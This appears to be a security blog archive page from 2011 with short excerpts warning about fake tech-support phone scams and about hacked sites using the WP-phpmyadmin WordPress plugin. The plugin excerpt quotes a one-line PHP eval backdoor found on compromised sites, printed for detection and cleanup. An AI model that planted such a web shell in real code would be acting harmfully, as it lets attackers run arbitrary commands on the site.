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Phone scam on the rise, some tips to avoid becoming victims.

04

Jul

2011

It has been observed that cyber criminals are targeting innocent elderly people at home. The scam works by criminals posing as computer security engineer who is actively calling people at home. The scammer indicates on phone that their computer is at risk from Internet threats and they are computer security personnel calling them to fix […]

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WP-phpmyadmin WordPress plugin – Delete it now

23

Jun

2011

If you are using the WP-phpmyadmin WordPress plugin, delete it now. We are seeing multiple sites getting hacked through it and we are investigating what is going on. On all the sites we’ve analyzed, the following code was found inside the wp-phpmyadmin/phpmyadmin/upgrade.php file: <?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?> This is not part of the plugin, and should be removed […]

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Study reveals scale of fake tech support call scams

16

Jun

2011

Have you received a phone call at your home from someone claiming to be working for Microsoft or your ISP? Did they claim that they weren’t selling anything, but instead wanted to help you clean up a malware infection on your PC? Well, if so, beware. More and more people are reporting that they have […]

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